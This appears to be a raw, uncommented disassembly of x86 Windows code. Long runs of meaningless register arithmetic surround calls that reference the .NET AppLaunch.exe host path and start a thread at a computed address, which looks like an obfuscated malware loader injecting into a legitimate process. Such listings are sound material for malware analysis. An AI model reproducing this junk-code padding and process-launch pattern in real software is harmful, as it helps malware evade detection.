sub ebx, 0x18
mov edx, 0x9c
rcr edi, 0x86
rcl edi, 0x1f
sbb edx, 0x5c
dec esi
inc edi
or edi, 0x42
or ebx, 0x38
and edx, 0x43
rcl ebx, 0xef
sbb eax, 0x7f
or edx, 0xe1
rol ebx, 0x71
dec edi
not ebx
rcl edx, 0x35
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x4a302]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.0040c280
mov eax, dword [ebp - 0x4a218]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x4a303], al
test byte [ebp - 0x4a303], 1
je 0x40440d
mov eax, dword [ebp - 0x4a288]
lea ecx, [ebp - 0x4a30c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00402f10
lea ecx, [ebp - 0x4a302]
mov eax, dword [ebp - 0x4a288]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x4a302]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x4a288]
mov word [eax], cx
not edx
and edx, 0xa7
rcr edx, 0xe6
ror edi, 0x8c
rcr ebx, 0x46
add edi, 0x4f
add eax, 0x4f
rol edx, 0xdc
and edi, 0x7d
bswap esi
rcl ebx, 0xc6
rcl eax, 0xcc
bswap esi
ror ebx, 0x57
add eax, 0xae
or esi, 0x32
imul edi
sbb eax, 0xdf
rol eax, 0xa7
sbb esi, 0x8a
add edx, 0x7b
ror edx, 0xfd
inc esi
rcl eax, 0x30
bswap edx
inc edx
mov edi, 0xbc
ror edi, 0x95
inc edx
imul edi
inc esi
ror edi, 4
sub esi, 0xe
and ebx, 0xd6
or ebx, 0x47
not eax
bswap ebx
not edx
and edx, 0xe3
dec eax
not edx
inc edx
dec esi
or edi, 0xdf
or edx, 0x35
rol ebx, 0x37
not ebx
sub esi, 0xfe
bswap eax
bswap esi
dec eax
not edx
dec edi
add eax, 0xf5
sbb edx, 0x9c
sub ebx, 0x9f
dec ebx
bswap esi
rol ebx, 0xaf
bswap edx
imul edi
dec eax
inc esi
rol esi, 0xe
not ebx
sub ebx, 0xbb
neg esi
neg edi
rcl ebx, 0x52
dec eax
not ebx
inc esi
rcr edi, 0x93
inc esi
rcl edi, 0x5f
bswap eax
and edx, 0xa
mov eax, 0xe9
not esi
and edi, 0xc2
not edi
bswap edx
rol ebx, 0xf4
inc edx
or edx, 0x1d
imul edx
inc edx
imul edi
mov esi, 0xbf
dec eax
not eax
not ebx
inc edx
rol ebx, 0x6b
ror ebx, 0x17
neg edx
sbb eax, 0x54
and eax, 0x5e
ror edx, 0x9d
and edi, 0x9e
add ebx, 0xc5
bswap ebx
imul edx
neg edx
sub edi, 0x37
mov eax, 0x18
rcl edi, 6
ror eax, 0xb1
not esi
neg edx
rol ebx, 0x93
sbb ebx, 0x7f
add edi, 0xca
inc ebx
inc eax
ror ebx, 0x4b
rcl esi, 0xb8
mov esi, 0x1d
imul ebx
imul ebx
mov eax, 0xa4
bswap esi
rcl edi, 0x5f
and ebx, 0xf4
add eax, 0xce
sbb eax, 0x5d
rol edx, 0x17
or edx, 0x9d
inc edi
neg edx
rcl esi, 0xc6
bswap ebx
rcl ebx, 0xef
not ebx
ror esi, 0x5d
rol eax, 0xff
imul edx
rcl eax, 0x6a
rcr ebx, 0x1f
rcr eax, 0xe3
inc eax
not esi
neg edx
dec edx
not edi
imul edx
bswap edx
and edx, 0xbb
inc ebx
inc ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a218]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x4a310], eax
test byte [ebp - 0x4a303], 1
je 0x40463b
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0x4a288]
lea eax, [ebp - 0x4a30c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00402f10
mov eax, dword [ebp - 0x4a310]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
rol edi, 0x3e
rcr ebx, 0x81
bswap esi
dec esi
sub edi, 0x46
imul edx
bswap edi
sub eax, 0xbb
ror edx, 0xf0
inc eax
not ebx
not edx
sbb edi, 0xce
imul esi
imul eax
neg ebx
mov esi, 0xc0
sbb edx, 0x3a
inc ebx
neg edi
dec eax
dec ebx
or edx, 7
dec esi
not edi
dec esi
inc edi
imul edx
imul eax
bswap esi
bswap esi
bswap eax
and esi, 0x65
inc edi
sub eax, 0x79
mov ebx, 0xea
and edx, 0x52
dec edi
not esi
add esi, 0x9d
bswap eax
imul eax
mov ebx, 0x4b
imul edx
add edi, 0x91
rcl eax, 0x8e
inc eax
neg eax
sub edx, 0xba
neg esi
rol edx, 0x2f
ror edx, 0xd4
bswap ebx
rol esi, 0x7a
not ebx
sub edi, 0x33
mov edi, 0xc0
not eax
imul edi
dec edi
ror edx, 0x99
not edi
inc esi
sub eax, 0x4c
rcr ebx, 0
rcr esi, 0x36
rcr edi, 0x6a
or eax, 0x26
inc edi
sbb eax, 0xca
not eax
bswap esi
bswap edx
not ebx
bswap ebx
imul ebx
inc ebx
dec eax
rcr edi, 0x2f
not edi
bswap ebx
mov edx, 0x1e
add ebx, 6
bswap esi
ror edx, 0x4d
neg edi
imul eax
sbb eax, 0x62
inc eax
not ebx
dec edx
rol ebx, 0x2d
rcr esi, 0x39
sub edi, 0x32
neg edi
sub edx, 0xd2
or esi, 0x20
bswap ebx
inc edx
rol edx, 0x65
add edx, 0xcc
imul ebx
ror edi, 0xff
sub edi, 0x82
add eax, 0x3c
and edx, 0xa6
imul esi
bswap ebx
sbb eax, 0xe9
inc edx
rol ebx, 0x47
dec esi
dec esi
inc eax
dec ebx
neg eax
and edi, 0xd2
dec eax
imul ebx
bswap edi
neg esi
or edi, 0xc6
rcl edi, 0x54
dec eax
neg ebx
mov esi, 0x68
rcr esi, 0x89
rcr eax, 0x65
or edi, 0x4d
sub edi, 0xfa
neg esi
dec eax
inc ebx
rcl ebx, 0x29
or eax, 5
mov eax, 0xa6
neg esi
inc eax
ror edx, 0x5c
add eax, 0xad
ror edi, 0xb1
imul edx
rol edx, 0xf3
inc eax
dec ebx
sub ebx, 0x54
mov eax, 0x20
neg edi
or edi, 0x99
dec edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x4a324
pop esi
pop edi
pop ebx
pop ebp
ret